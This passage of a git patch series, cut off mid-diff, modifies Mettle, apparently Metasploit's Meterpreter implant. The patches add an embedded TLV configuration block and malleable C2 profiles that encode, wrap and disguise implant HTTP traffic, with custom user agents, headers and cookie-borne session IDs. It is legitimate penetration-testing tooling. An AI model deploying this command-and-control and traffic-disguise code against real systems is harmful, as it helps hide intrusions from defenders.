From 9efd57b69e5cd4ec738eefd893477b913588dad5 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 25 Mar 2026 08:48:53 +1000 Subject: [PATCH 01/16] First pass of TLV config block support --- lib/metasploit_payloads/mettle.rb | 13 ++++ mettle/src/main.c | 111 +++++++++++++++++++++++++++++- mettle/src/tlv.c | 11 +++ mettle/src/tlv.h | 2 + mettle/src/tlv_types.h | 34 +++++++++ 5 files changed, 169 insertions(+), 2 deletions(-) diff --git a/lib/metasploit_payloads/mettle.rb b/lib/metasploit_payloads/mettle.rb index 9c547002..17e2a79a 100644 --- a/lib/metasploit_payloads/mettle.rb +++ b/lib/metasploit_payloads/mettle.rb @@ -16,6 +16,8 @@ class Mettle CMDLINE_MAX = 2000 CMDLINE_SIG = 'DEFAULT_OPTS'.freeze + CONFIG_BLOCK_MAX = 8192 + CONFIG_BLOCK_SIG = 'CONFIG_BLOCK'.freeze # # Config is a hash. Valid keys are: # :uri to connect to @@ -36,6 +38,9 @@ def initialize(triple, config={}) def to_binary(format=:process_image) bin = self.class.read(@platform, format) unless @config.empty? + if @config[:config_block] + bin = add_config_block(bin, @config[:config_block]) + end params = generate_argv bin = add_args(bin, params) end @@ -77,6 +82,14 @@ def short_opt(opt) end end + def add_config_block(bin, config_bytes) + if config_bytes.length > CONFIG_BLOCK_MAX + raise Mettle::Error, 'mettle config block too large', caller + end + padded = config_bytes + "\x00" * (CONFIG_BLOCK_MAX - config_bytes.length) + bin.sub(CONFIG_BLOCK_SIG + "\x00" * (CONFIG_BLOCK_MAX - CONFIG_BLOCK_SIG.length), padded) + end + def add_args(bin, params) if params[8] != "\x00" bin.sub(CMDLINE_SIG + ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params) diff --git a/mettle/src/main.c b/mettle/src/main.c index f216264c..33085d8a 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -16,6 +16,7 @@ #include "log.h" #include "mettle.h" #include "service.h" +#include "tlv.h" static void usage(const char *name) { @@ -239,6 +240,106 @@ void parse_default_args(struct mettle *m, int flags) } } +#define CONFIG_BLOCK_MAX 8192 +#define CONFIG_BLOCK_SIG "CONFIG_BLOCK" +#define CONFIG_BLOCK_SIG_LEN 12 + +/* + * 8KB placeholder for TLV-based configuration block. + * The framework patches this with a XOR-encoded TLV config packet. + */ +static char config_block_data[CONFIG_BLOCK_MAX] = CONFIG_BLOCK_SIG; + +static int parse_config_block(struct mettle *m) +{ + /* Check if the config block has been patched (signature overwritten) */ + if (strncasecmp(config_block_data, CONFIG_BLOCK_SIG, CONFIG_BLOCK_SIG_LEN) == 0) { + return -1; + } + + /* Find the actual data length by scanning backward past null padding */ + size_t data_len = CONFIG_BLOCK_MAX; + for (size_t i = CONFIG_BLOCK_MAX - 1; i > 0; i--) { + if (config_block_data[i] != '\0') { + data_len = i + 1; + break; + } + } + + /* Feed the raw config bytes through the standard TLV packet reader */ + struct buffer_queue *q = buffer_queue_new(); + if (q == NULL) { + return -1; + } + buffer_queue_add(q, config_block_data, data_len); + struct tlv_packet *config = tlv_packet_read_buffer_queue(NULL, q); + buffer_queue_free(q); + if (config == NULL) { + log_error("failed to parse config block"); + return -1; + } + + struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); + struct c2 *c2 = mettle_get_c2(m); + + /* Extract UUID */ + size_t uuid_len = 0; + void *uuid = tlv_packet_get_raw(config, TLV_TYPE_UUID, &uuid_len); + if (uuid && uuid_len > 0) { + tlv_dispatcher_set_uuid(td, uuid, uuid_len); + } + + /* Extract Session GUID */ + size_t guid_len = 0; + void *guid = tlv_packet_get_raw(config, TLV_TYPE_SESSION_GUID, &guid_len); + if (guid && guid_len > 0) { + tlv_dispatcher_set_session_guid(td, guid); + } + + /* Extract session expiry */ + uint32_t session_expiry = 0; + tlv_packet_get_u32(config, TLV_TYPE_SESSION_EXPIRY, &session_expiry); + + /* Extract debug log path */ + const char *debug_log = tlv_packet_get_str(config, TLV_TYPE_DEBUG_LOG); + if (debug_log) { + FILE *log_fp = fopen(debug_log, "a"); + if (log_fp) { + log_init_file(log_fp); + log_set_level(3); + } + } + + /* Iterate C2 transport groups */ + struct tlv_iterator i = { + .packet = config, + .offset = 0, + .value_type = TLV_TYPE_C2, + }; + size_t group_len = 0; + void *group_data; + while ((group_data = tlv_packet_iterate(&i, &group_len)) != NULL) { + /* + * Wrap the group bytes in a temporary tlv_packet so we can + * use the standard accessors to extract child TLVs. + */ + struct tlv_packet *group = tlv_packet_from_raw(TLV_TYPE_C2, group_data, group_len); + if (group == NULL) { + continue; + } + + const char *url = tlv_packet_get_str(group, TLV_TYPE_C2_URL); + if (url) { + c2_add_transport_uri(c2, url); + } + + tlv_packet_free(group); + } + + tlv_packet_free(config); + return 0; +} + /* Saves a copy of argv for setproctitle emulation */ #ifndef HAVE_SETPROCTITLE static char **saved_argv; @@ -268,9 +369,15 @@ int main(int argc, char * argv[]) } /* - * Check to see if we were injected by metasploit + * Try TLV config block first — if present, it contains all config. + * Fall back to CLI args / DEFAULT_OPTS if no config block. */ - if (argv[0] != NULL && strcmp(argv[0], "m") == 0) { + if (parse_config_block(m) == 0) { + log_info("loaded configuration from TLV config block"); + } else if (argv[0] != NULL && strcmp(argv[0], "m") == 0) { + /* + * Check to see if we were injected by metasploit + */ flags |= PAYLOAD_INJECTED; /* diff --git a/mettle/src/tlv.c b/mettle/src/tlv.c index 30501abc..41db072d 100644 --- a/mettle/src/tlv.c +++ b/mettle/src/tlv.c @@ -63,6 +63,17 @@ struct tlv_packet *tlv_packet_new(uint32_t type, int initial_len) return p; } +struct tlv_packet *tlv_packet_from_raw(uint32_t type, const void *data, size_t len) +{ + struct tlv_packet *p = malloc(sizeof(struct tlv_packet) + len); + if (p) { + p->h.type = htonl(type); + p->h.len = htonl(len + TLV_MIN_LEN); + memcpy(p->buf, data, len); + } + return p; +} + void tlv_packet_free(struct tlv_packet *p) { free(p); diff --git a/mettle/src/tlv.h b/mettle/src/tlv.h index f913dd8e..0ef61771 100644 --- a/mettle/src/tlv.h +++ b/mettle/src/tlv.h @@ -50,6 +50,8 @@ struct tlv_dispatcher; struct tlv_packet *tlv_packet_new(uint32_t type, int initial_len); +struct tlv_packet *tlv_packet_from_raw(uint32_t type, const void *data, size_t len); + bool tlv_found_first_packet(struct buffer_queue *q); struct tlv_packet * tlv_packet_read_buffer_queue(struct tlv_dispatcher *td , struct buffer_queue *q); diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index db1ff46e..0f9e35a3 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -89,6 +89,40 @@ #define TLV_TYPE_SYM_KEY (TLV_META_TYPE_RAW | 552) #define TLV_TYPE_ENC_SYM_KEY (TLV_META_TYPE_RAW | 553) +/* + * C2/Transport configuration + */ +#define TLV_TYPE_SESSION_EXPIRY (TLV_META_TYPE_UINT | 700) +#define TLV_TYPE_EXITFUNC (TLV_META_TYPE_UINT | 701) +#define TLV_TYPE_DEBUG_LOG (TLV_META_TYPE_STRING | 702) +#define TLV_TYPE_EXTENSION (TLV_META_TYPE_GROUP | 703) +#define TLV_TYPE_C2 (TLV_META_TYPE_GROUP | 704) +#define TLV_TYPE_C2_COMM_TIMEOUT (TLV_META_TYPE_UINT | 705) +#define TLV_TYPE_C2_RETRY_TOTAL (TLV_META_TYPE_UINT | 706) +#define TLV_TYPE_C2_RETRY_WAIT (TLV_META_TYPE_UINT | 707) +#define TLV_TYPE_C2_URL (TLV_META_TYPE_STRING | 708) +#define TLV_TYPE_C2_URI (TLV_META_TYPE_STRING | 709) +#define TLV_TYPE_C2_PROXY_URL (TLV_META_TYPE_STRING | 710) +#define TLV_TYPE_C2_PROXY_USER (TLV_META_TYPE_STRING | 711) +#define TLV_TYPE_C2_PROXY_PASS (TLV_META_TYPE_STRING | 712) +#define TLV_TYPE_C2_GET (TLV_META_TYPE_GROUP | 713) +#define TLV_TYPE_C2_POST (TLV_META_TYPE_GROUP | 714) +#define TLV_TYPE_C2_HEADERS (TLV_META_TYPE_STRING | 715) +#define TLV_TYPE_C2_UA (TLV_META_TYPE_STRING | 716) +#define TLV_TYPE_C2_CERT_HASH (TLV_META_TYPE_RAW | 717) +#define TLV_TYPE_C2_PREFIX (TLV_META_TYPE_RAW | 718) +#define TLV_TYPE_C2_SUFFIX (TLV_META_TYPE_RAW | 719) +#define TLV_TYPE_C2_ENC (TLV_META_TYPE_UINT | 720) +#define TLV_TYPE_C2_PREFIX_SKIP (TLV_META_TYPE_UINT | 721) +#define TLV_TYPE_C2_SUFFIX_SKIP (TLV_META_TYPE_UINT | 722) +#define TLV_TYPE_C2_UUID_COOKIE (TLV_META_TYPE_STRING | 723) +#define TLV_TYPE_C2_UUID_GET (TLV_META_TYPE_STRING | 724) +#define TLV_TYPE_C2_UUID_HEADER (TLV_META_TYPE_STRING | 725) + +#define C2_ENCODING_NONE 0 +#define C2_ENCODING_B64 1 +#define C2_ENCODING_B64URL 2 + /* * General */ From c2ab6055c6b84e9a9cbfb3cc800b7de6b91fa66a Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Fri, 27 Mar 2026 07:17:17 +1000 Subject: [PATCH 02/16] Add TLV-based configuration and Malleable C2 profile support Replace the CLI-argument-only configuration path with a TLV config block that the framework patches into the binary at generation time. This brings mettle in line with the Windows, Python, Java, and PHP Meterpreter implementations that all use Rex::Payloads::Meterpreter::Config. - Add C2 TLV constants (700-725 series) to tlv_types.h - Add 8KB CONFIG_BLOCK placeholder in main.c with signature-based patching, checked before CLI args and injection detection at startup - Add tlv_packet_from_raw() to tlv.c for wrapping GROUP TLV children - Parse UUID, session GUID, session expiry, debug log, and C2 transport groups from the config packet - Add c2_transport_config and c2_verb_config structs to c2.h - Add c2_add_transport_uri_config() to attach parsed config to transports - Parse C2 GET/POST profile sub-groups including URI, encoding flags, prefix/suffix, prefix/suffix skip, and UUID placement options - Implement profile-aware HTTP transport: per-verb URL building, Base64/Base64URL encode/decode, prefix/suffix wrapping on egress, prefix/suffix stripping and decoding on ingress, UUID in query param/header/cookie - Apply TLV transport config (UA, custom headers) during HTTP transport init alongside legacy pipe-separated URI args - Update mettle.rb to patch CONFIG_BLOCK into binaries - Fix json-c calloc argument order for modern GCC The legacy DEFAULT_OPTS CLI path is preserved as a fallback. --- mettle/src/c2.c | 45 ++++++ mettle/src/c2.h | 44 ++++++ mettle/src/c2_http.c | 330 +++++++++++++++++++++++++++++++++++++++---- mettle/src/main.c | 99 ++++++++++++- 4 files changed, 487 insertions(+), 31 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 85afef63..f65bd13a 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -26,6 +26,7 @@ struct c2_transport { struct c2 *c2; struct c2_transport_type *type; void *ctx; + struct c2_transport_config *config; }; struct c2_transport_type { @@ -109,6 +110,7 @@ c2_remove_transports(struct c2 *c2) if (t->type->cbs.free) { t->type->cbs.free(t); } + c2_transport_config_free(t->config); free(t->uri); free(t); } @@ -158,6 +160,49 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) return -1; } +void c2_verb_config_free(struct c2_verb_config *vc) +{ + if (vc) { + free(vc->uri); + free(vc->prefix); + free(vc->suffix); + free(vc->uuid_get); + free(vc->uuid_header); + free(vc->uuid_cookie); + free(vc); + } +} + +void c2_transport_config_free(struct c2_transport_config *tc) +{ + if (tc) { + free(tc->proxy_url); + free(tc->user_agent); + free(tc->custom_headers); + free(tc->cert_hash); + c2_verb_config_free(tc->c2_get); + c2_verb_config_free(tc->c2_post); + free(tc); + } +} + +struct c2_transport_config * c2_transport_get_config(struct c2_transport *t) +{ + return t->config; +} + +int c2_add_transport_uri_config(struct c2 *c2, const char *uri, + struct c2_transport_config *config) +{ + int rc = c2_add_transport_uri(c2, uri); + if (rc == 0 && config) { + /* Find the last-added transport (tail of CDL) */ + struct c2_transport *t = c2->transports->prev; + t->config = config; + } + return rc; +} + static struct c2_transport * choose_next_transport(struct c2 *c2) { diff --git a/mettle/src/c2.h b/mettle/src/c2.h index d2e42211..ba525f65 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -9,12 +9,54 @@ #include #include "buffer_queue.h" +/* + * C2 Profile configuration for GET/POST verbs + */ +struct c2_verb_config { + char *uri; + int enc; + void *prefix; + size_t prefix_len; + void *suffix; + size_t suffix_len; + int prefix_skip; + int suffix_skip; + char *uuid_get; + char *uuid_header; + char *uuid_cookie; +}; + +/* + * Per-transport configuration parsed from TLV config block + */ +struct c2_transport_config { + uint32_t comm_timeout; + uint32_t retry_total; + uint32_t retry_wait; + char *proxy_url; + char *user_agent; + char *custom_headers; + void *cert_hash; + size_t cert_hash_len; + struct c2_verb_config *c2_get; + struct c2_verb_config *c2_post; +}; + +void c2_verb_config_free(struct c2_verb_config *vc); +void c2_transport_config_free(struct c2_transport_config *tc); + +/* + * C2 Manager + */ struct c2; struct c2 * c2_new(struct ev_loop *loop); int c2_add_transport_uri(struct c2 *c2, const char *uri); +int c2_add_transport_uri_config(struct c2 *c2, const char *uri, + struct c2_transport_config *config); + int c2_start(struct c2 *c2); int c2_close(struct c2 *c2); @@ -58,6 +100,8 @@ int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport* c2_get_current_transport(struct c2 *c2); +struct c2_transport_config * c2_transport_get_config(struct c2_transport *t); + const char * c2_transport_uri(struct c2_transport *t); const char * c2_transport_dest(struct c2_transport *t); struct ev_loop * c2_transport_loop(struct c2_transport *loop); diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index 547251c5..65c83f50 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -6,8 +6,10 @@ #include #include +#include #include "argv_split.h" +#include "base64.h" #include "c2.h" #include "http_client.h" #include "log.h" @@ -27,7 +29,146 @@ struct http_ctx { bool online; }; -static void patch_uuid(struct http_ctx *ctx, struct buffer_queue *q) +static int add_header(struct http_ctx *ctx, const char *header); +static void http_ctx_free(struct http_ctx *ctx); + +/* + * Base64URL encode: uses -_ instead of +/, no padding + */ +static char *b64url_encode(const void *src, size_t src_len, size_t *out_len) +{ + size_t b64_len = ((src_len + 2) / 3) * 4 + 1; + char *b64 = malloc(b64_len); + if (!b64) return NULL; + + int len = base64encode(b64, src, src_len); + /* Convert to URL-safe and strip padding */ + for (int i = 0; i < len; i++) { + if (b64[i] == '+') b64[i] = '-'; + else if (b64[i] == '/') b64[i] = '_'; + } + while (len > 0 && b64[len - 1] == '=') len--; + b64[len] = '\0'; + if (out_len) *out_len = len; + return b64; +} + +static void *c2_encode(const void *data, size_t len, int enc, size_t *out_len) +{ + if (enc == C2_ENCODING_B64) { + size_t b64_len = ((len + 2) / 3) * 4 + 1; + char *out = malloc(b64_len); + if (!out) return NULL; + int olen = base64encode(out, data, len); + out[olen] = '\0'; + *out_len = olen; + return out; + } else if (enc == C2_ENCODING_B64URL) { + return b64url_encode(data, len, out_len); + } + void *out = malloc(len); + if (out) { + memcpy(out, data, len); + *out_len = len; + } + return out; +} + +static void *c2_decode(const void *data, size_t len, int enc, size_t *out_len) +{ + if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) { + /* base64decode handles both standard and URL-safe variants */ + size_t max_len = ((len + 3) / 4) * 3 + 1; + char *out = malloc(max_len); + if (!out) return NULL; + /* Need null-terminated string for base64decode */ + char *tmp = malloc(len + 1); + if (!tmp) { free(out); return NULL; } + memcpy(tmp, data, len); + /* Convert URL-safe back to standard for decoder */ + for (size_t i = 0; i < len; i++) { + if (tmp[i] == '-') tmp[i] = '+'; + else if (tmp[i] == '_') tmp[i] = '/'; + } + tmp[len] = '\0'; + int olen = base64decode(out, tmp, len); + free(tmp); + if (olen < 0) { free(out); return NULL; } + *out_len = olen; + return out; + } + void *out = malloc(len); + if (out) { + memcpy(out, data, len); + *out_len = len; + } + return out; +} + +static char *get_uuid_from_uri(const char *uri) +{ + /* Extract UUID from the URI path (last path segment) */ + const char *path = strstr(uri, "://"); + if (path) path = strchr(path + 3, '/'); + if (!path || strlen(path) <= 1) return NULL; + + path++; /* skip leading / */ + const char *end = path + strlen(path); + if (*(end - 1) == '/') end--; + const char *last_slash = path; + for (const char *p = path; p < end; p++) { + if (*p == '/') last_slash = p + 1; + } + if (last_slash >= end) return NULL; + + size_t len = end - last_slash; + char *uuid = malloc(len + 1); + if (uuid) { + memcpy(uuid, last_slash, len); + uuid[len] = '\0'; + } + return uuid; +} + +static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) +{ + if (!vc || !vc->uri) { + return strdup(base_uri); + } + + /* Extract scheme://host:port from base URI */ + const char *proto_end = strstr(base_uri, "://"); + if (!proto_end) return strdup(base_uri); + const char *host_start = proto_end + 3; + const char *path_start = strchr(host_start, '/'); + size_t base_len = path_start ? (size_t)(path_start - base_uri) : strlen(base_uri); + + const char *profile_uri = vc->uri; + int needs_slash = (profile_uri[0] != '/'); + + /* Calculate max URL length */ + size_t url_len = base_len + 1 + strlen(profile_uri) + 1; + if (uuid && vc->uuid_get) { + url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(uuid); + } + + char *url = malloc(url_len + 1); + if (!url) return NULL; + + int written = snprintf(url, url_len + 1, "%.*s%s%s", + (int)base_len, base_uri, + needs_slash ? "/" : "", + profile_uri); + + if (uuid && vc->uuid_get) { + char sep = strchr(url, '?') ? '&' : '?'; + snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, uuid); + } + + return url; +} + +static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) { struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); if (request) { @@ -62,6 +203,89 @@ static void patch_uuid(struct http_ctx *ctx, struct buffer_queue *q) } } +/* + * Process a response with C2 profile decoding (prefix/suffix stripping + encoding) + */ +static void process_response_with_profile(struct http_ctx *ctx, + struct buffer_queue *response_q, struct c2_verb_config *vc) +{ + if (!vc) { + /* No profile — pass raw data through */ + c2_transport_ingress_queue(ctx->t, response_q); + return; + } + + void *raw = NULL; + ssize_t raw_len = buffer_queue_remove_all(response_q, &raw); + if (!raw || raw_len <= 0) { + free(raw); + return; + } + + /* Strip prefix/suffix bytes */ + int start = vc->prefix_skip; + int end = raw_len - vc->suffix_skip; + if (start >= end || start < 0 || end > (int)raw_len) { + start = 0; + end = raw_len; + } + size_t stripped_len = end - start; + + /* Decode */ + size_t decoded_len = 0; + void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc, &decoded_len); + free(raw); + + if (decoded && decoded_len > 0) { + c2_transport_ingress_buf(ctx->t, decoded, decoded_len); + } + free(decoded); +} + +/* + * Prepare egress data with C2 profile encoding (encoding + prefix/suffix wrapping) + */ +static void *encode_egress_with_profile(void *data, size_t data_len, + struct c2_verb_config *vc, size_t *out_len) +{ + if (!vc) { + *out_len = data_len; + return data; + } + + size_t encoded_len = 0; + void *encoded = c2_encode(data, data_len, vc->enc, &encoded_len); + free(data); + if (!encoded) return NULL; + + size_t prefix_len = vc->prefix ? vc->prefix_len : 0; + size_t suffix_len = vc->suffix ? vc->suffix_len : 0; + + if (prefix_len == 0 && suffix_len == 0) { + *out_len = encoded_len; + return encoded; + } + + size_t total = prefix_len + encoded_len + suffix_len; + void *wrapped = malloc(total); + if (!wrapped) { free(encoded); return NULL; } + + char *p = wrapped; + if (prefix_len > 0) { + memcpy(p, vc->prefix, prefix_len); + p += prefix_len; + } + memcpy(p, encoded, encoded_len); + p += encoded_len; + if (suffix_len > 0) { + memcpy(p, vc->suffix, suffix_len); + } + free(encoded); + + *out_len = total; + return wrapped; +} + static void http_poll_cb(struct http_conn *conn, void *arg) { struct http_ctx *ctx = arg; @@ -69,8 +293,6 @@ static void http_poll_cb(struct http_conn *conn, void *arg) int code = http_conn_response_code(conn); if (code > 0) { - // When the c2 come back online we set the first_packet=true - // to setup the session properly. if(!ctx->online) { ctx->first_packet = 1; ctx->poll_timer.repeat = 0.1; @@ -90,13 +312,14 @@ static void http_poll_cb(struct http_conn *conn, void *arg) ctx->first_packet = 0; got_command = true; } else { - size_t len; if (buffer_queue_len(ctx->egress) > 0) { got_command = true; } if (buffer_queue_len(q) > 0) { got_command = true; - c2_transport_ingress_queue(ctx->t, q); + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + process_response_with_profile(ctx, q, get_profile); } } } @@ -112,11 +335,6 @@ static void http_poll_cb(struct http_conn *conn, void *arg) ctx->poll_timer.repeat = 10; } if (ctx->running) { - /* - * Calling ev_timer_again and setting poll_timer.repeat = 0 - * Will result in having mettle http polling working sync instead of async. - * This is used to avoid pushing data on the queue when the c2 is offline. - */ ev_timer_again(c2_transport_loop(ctx->t), &ctx->poll_timer); if(!ctx->online) { ctx->poll_timer.repeat = 0; @@ -124,32 +342,77 @@ static void http_poll_cb(struct http_conn *conn, void *arg) } } +static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) +{ + if (!vc) return; + + char *uuid = get_uuid_from_uri(ctx->uri); + if (!uuid) return; + + if (vc->uuid_header) { + char *hdr = NULL; + if (asprintf(&hdr, "%s: %s", vc->uuid_header, uuid) != -1) { + add_header(ctx, hdr); + free(hdr); + } + } + if (vc->uuid_cookie) { + char *cookie = NULL; + if (asprintf(&cookie, "%s=%s", vc->uuid_cookie, uuid) != -1) { + free(ctx->data.cookie_list); + ctx->data.cookie_list = cookie; + } + } + free(uuid); +} + static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int revents) { struct http_ctx *ctx = w->data; bool sent = false; + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *post_profile = tc ? tc->c2_post : NULL; + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + while (buffer_queue_len(ctx->egress) > 0) { - /* - * Metasploit's HTTP handler cannot handle multiple queued messages, send these individually for now - * ctx->data.content_len = buffer_queue_remove_all(ctx->egress, - * &ctx->data.content); - */ ctx->data.content = buffer_queue_remove_msg(ctx->egress, &ctx->data.content_len); - http_request(ctx->uri, http_request_post, http_poll_cb, ctx, - &ctx->data, &ctx->opts); + + if (post_profile) { + size_t encoded_len = 0; + void *encoded = encode_egress_with_profile( + ctx->data.content, ctx->data.content_len, + post_profile, &encoded_len); + ctx->data.content = encoded; + ctx->data.content_len = encoded_len; + } + + char *uuid = get_uuid_from_uri(ctx->uri); + char *post_url = build_profile_url(ctx->uri, post_profile, uuid); + free(uuid); + add_profile_headers(ctx, post_profile); + + http_request(post_url ? post_url : ctx->uri, http_request_post, + http_poll_cb, ctx, &ctx->data, &ctx->opts); + free(post_url); ctx->data.content_len = 0; ctx->data.content = NULL; sent = true; } if (!sent) { - http_request(ctx->uri, http_request_get, http_poll_cb, ctx, - &ctx->data, &ctx->opts); + char *uuid = get_uuid_from_uri(ctx->uri); + char *get_url = build_profile_url(ctx->uri, get_profile, uuid); + free(uuid); + add_profile_headers(ctx, get_profile); + + http_request(get_url ? get_url : ctx->uri, http_request_get, + http_poll_cb, ctx, &ctx->data, &ctx->opts); + free(get_url); } } -void http_ctx_free(struct http_ctx *ctx) +static void http_ctx_free(struct http_ctx *ctx) { if (ctx) { if (ctx->egress) { @@ -198,7 +461,27 @@ int http_transport_init(struct c2_transport *t) add_header(ctx, "Connection: close"); - log_info("Initializing HTTP transport with URI: %s", ctx->uri); + /* Apply config from TLV config block if available */ + struct c2_transport_config *tc = c2_transport_get_config(t); + if (tc) { + if (tc->user_agent) { + ctx->data.ua = strdup(tc->user_agent); + } + if (tc->custom_headers) { + /* Headers are CRLF-separated */ + char *hdrs = strdup(tc->custom_headers); + char *line = strtok(hdrs, "\r\n"); + while (line) { + if (strlen(line) > 0) { + add_header(ctx, line); + } + line = strtok(NULL, "\r\n"); + } + free(hdrs); + } + } + + /* Legacy: parse args after | in URI */ char *args = strchr(ctx->uri, '|'); if (args) { *args = '\0'; @@ -214,20 +497,17 @@ int http_transport_init(struct c2_transport *t) } } if (strcmp(argv[i], "--ua") == 0) { + free(ctx->data.ua); ctx->data.ua = strdup(argv[i + 1]); - log_info("ua: %s", ctx->data.ua); } if (strcmp(argv[i], "--referer") == 0) { ctx->data.referer = strdup(argv[i + 1]); - log_info("referer: %s", ctx->data.referer); } if (strcmp(argv[i], "--cookie") == 0) { ctx->data.cookie_list = strdup(argv[i + 1]); - log_info("cookie: %s", ctx->data.cookie_list); } if (strcmp(argv[i], "--header") == 0) { add_header(ctx, argv[i + 1]); - log_info("header: %s", argv[i + 1]); } } } diff --git a/mettle/src/main.c b/mettle/src/main.c index 33085d8a..67112756 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -250,6 +250,63 @@ void parse_default_args(struct mettle *m, int flags) */ static char config_block_data[CONFIG_BLOCK_MAX] = CONFIG_BLOCK_SIG; +static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uint32_t group_type) +{ + size_t vlen = 0; + void *vdata = tlv_packet_get_raw(parent, group_type, &vlen); + if (vdata == NULL || vlen == 0) { + return NULL; + } + + struct tlv_packet *vp = tlv_packet_from_raw(group_type, vdata, vlen); + if (vp == NULL) { + return NULL; + } + + struct c2_verb_config *vc = calloc(1, sizeof(*vc)); + if (vc == NULL) { + tlv_packet_free(vp); + return NULL; + } + + const char *s; + s = tlv_packet_get_str(vp, TLV_TYPE_C2_URI); + if (s) vc->uri = strdup(s); + + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC, (uint32_t *)&vc->enc); + tlv_packet_get_u32(vp, TLV_TYPE_C2_PREFIX_SKIP, (uint32_t *)&vc->prefix_skip); + tlv_packet_get_u32(vp, TLV_TYPE_C2_SUFFIX_SKIP, (uint32_t *)&vc->suffix_skip); + + size_t len = 0; + void *raw; + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_PREFIX, &len); + if (raw && len > 0) { + vc->prefix = malloc(len); + if (vc->prefix) { + memcpy(vc->prefix, raw, len); + vc->prefix_len = len; + } + } + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_SUFFIX, &len); + if (raw && len > 0) { + vc->suffix = malloc(len); + if (vc->suffix) { + memcpy(vc->suffix, raw, len); + vc->suffix_len = len; + } + } + + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_GET); + if (s) vc->uuid_get = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_HEADER); + if (s) vc->uuid_header = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_COOKIE); + if (s) vc->uuid_cookie = strdup(s); + + tlv_packet_free(vp); + return vc; +} + static int parse_config_block(struct mettle *m) { /* Check if the config block has been patched (signature overwritten) */ @@ -319,20 +376,50 @@ static int parse_config_block(struct mettle *m) size_t group_len = 0; void *group_data; while ((group_data = tlv_packet_iterate(&i, &group_len)) != NULL) { - /* - * Wrap the group bytes in a temporary tlv_packet so we can - * use the standard accessors to extract child TLVs. - */ struct tlv_packet *group = tlv_packet_from_raw(TLV_TYPE_C2, group_data, group_len); if (group == NULL) { continue; } const char *url = tlv_packet_get_str(group, TLV_TYPE_C2_URL); - if (url) { - c2_add_transport_uri(c2, url); + if (url == NULL) { + tlv_packet_free(group); + continue; + } + + struct c2_transport_config *tc = calloc(1, sizeof(*tc)); + if (tc == NULL) { + tlv_packet_free(group); + continue; + } + + tlv_packet_get_u32(group, TLV_TYPE_C2_COMM_TIMEOUT, &tc->comm_timeout); + tlv_packet_get_u32(group, TLV_TYPE_C2_RETRY_TOTAL, &tc->retry_total); + tlv_packet_get_u32(group, TLV_TYPE_C2_RETRY_WAIT, &tc->retry_wait); + + const char *s; + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_URL); + if (s) tc->proxy_url = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_UA); + if (s) tc->user_agent = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_HEADERS); + if (s) tc->custom_headers = strdup(s); + + size_t hash_len = 0; + void *hash = tlv_packet_get_raw(group, TLV_TYPE_C2_CERT_HASH, &hash_len); + if (hash && hash_len > 0) { + tc->cert_hash = malloc(hash_len); + if (tc->cert_hash) { + memcpy(tc->cert_hash, hash, hash_len); + tc->cert_hash_len = hash_len; + } } + /* Parse C2 GET/POST profile sub-groups */ + tc->c2_get = parse_c2_verb_group(group, TLV_TYPE_C2_GET); + tc->c2_post = parse_c2_verb_group(group, TLV_TYPE_C2_POST); + + c2_add_transport_uri_config(c2, url, tc); tlv_packet_free(group); } From bb574afaa0538cdfbf07028471814408a1376ecb Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 14 May 2026 17:04:58 +1000 Subject: [PATCH 03/16] Bring mettle up to speed with mc2, proxy and transport commands --- mettle/src/c2.c | 3 + mettle/src/c2.h | 3 + mettle/src/c2_http.c | 136 +++++++++++++++++++++++++++++++++++------ mettle/src/main.c | 6 ++ mettle/src/tlv_types.h | 1 + 5 files changed, 129 insertions(+), 20 deletions(-) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index f65bd13a..ccb71d86 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -177,9 +177,12 @@ void c2_transport_config_free(struct c2_transport_config *tc) { if (tc) { free(tc->proxy_url); + free(tc->proxy_user); + free(tc->proxy_pass); free(tc->user_agent); free(tc->custom_headers); free(tc->cert_hash); + free(tc->c2_uuid); c2_verb_config_free(tc->c2_get); c2_verb_config_free(tc->c2_post); free(tc); diff --git a/mettle/src/c2.h b/mettle/src/c2.h index ba525f65..aa4df619 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -34,10 +34,13 @@ struct c2_transport_config 